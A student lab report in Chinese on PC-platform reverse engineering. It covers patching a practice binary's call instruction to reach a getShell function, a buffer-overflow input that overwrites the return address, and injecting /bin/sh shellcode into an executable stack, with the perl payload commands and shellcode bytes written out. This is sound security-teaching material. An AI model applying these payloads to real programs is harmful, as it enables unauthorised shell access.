2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解
需要描述的内容
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90
- JNE为条件转移指令,如果不相等则跳转。机器码是75。(Jump Not Equal)
- JE为条件转移指令,相等则跳转。机器码是74.(Jump Equal)
- JMP为无条件转移指令。在段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA
- CMP比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
一、直接修改程序机器指令,改变程序执行流程
首先通过共享文件夹将pwn1文件copy进虚拟机中。
并养成良好习惯进行备份。 使用指令objdump -d pwn20165204 | more
找到相应的call指令,发现其汇编指令为e8 d7 ff ff ff,e8是call的机器码,d7 ff ff ff是偏移量,我们要做的就是把d7 ff ff ff改成某个希望的数值,让call能够跳转到804847d。
0x08048491 - 0x0804847d = 0x00000014
0xffffffd7 - 0x00000014 = 0xffffffc3
因此我们需要将d7 改为 c3就可以了。
通过vim的%!xxd
先将ASCII码文件转换为16进制
再使用/d7ff
找到我们想要修改的代码,修改为c3
再使用%!xxd -r
将其转换为ASCII码文件,使其能够运行。
保存退出后,反汇编看一下有没有修改成功
运行程序,发现其确实跳转至了getshell函数。至此,实验成功。
二、通过构造输入参数,造成BOF攻击,改变程序执行流
使用objdump -d pwn2 | more
命令对文件进行反汇编
使用gdb确认输入字符串哪几个字符会覆盖到返回地址
通过观察可发现1111111122222222333333334444444412345678
那 1234 那四个数会覆盖到堆栈上的返回地址,所以只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。
通过反汇编可知,应输入11111111222222223333333344444444\x7d\x84\x04\x08。
因为无法使用键盘输入16进制值,故要构造输入字符串
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
再使用管道符|来输入。命令为(cat input; cat) | ./pwn2
。
三、注入Shellcode并执行
(1)首先修改设置
apt-get install execstack
安装execstack
execstack -s pwn2
设置堆栈可执行
execstack -q pwn2
查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
查询地址虚拟化是否关闭
(2)把输入的字串放入input_shellcode文件里
(3)打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn2
(4) 再开另外一个终端,用gdb来调试pwn1这个进程。
(5) 使用ps -ef | grep pwn2
来确认进程号。找到进程号是33628
(6)disassemble foo
命令进行反汇编,设置断点,使用info r esp
找到地址
(7)输入x/16x 0xffffd30c
查看其存放内容,直接发现了我们的0x01020304
所以其存放地址就是0xffffd310
(8)将原shellcode更改为
perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(9)使用(cat input_shellcode;cat) | ./pwn2
注入,成功!
四、实验总结
1、什么是漏洞?漏洞有什么危害?
漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误,或者是庞大的代码中的可乘之机。
漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利,让个人社会乃至国家遭受损失。
2、实验收获与感想
做实验之前一头雾水,听刘念老师多次说过这个在中美黑客大战中立下汗马功劳的漏洞。之后听了老师课上的讲解,对其原理明白了很多。而在真正做的时候更加深入地理解了其中的套路,而且真的很顺利(给跪了)。然而限制依然很多,诸多限制去掉一个都很难!想成为Watch Dog中的那种黑客真的是路漫漫其修远兮啊。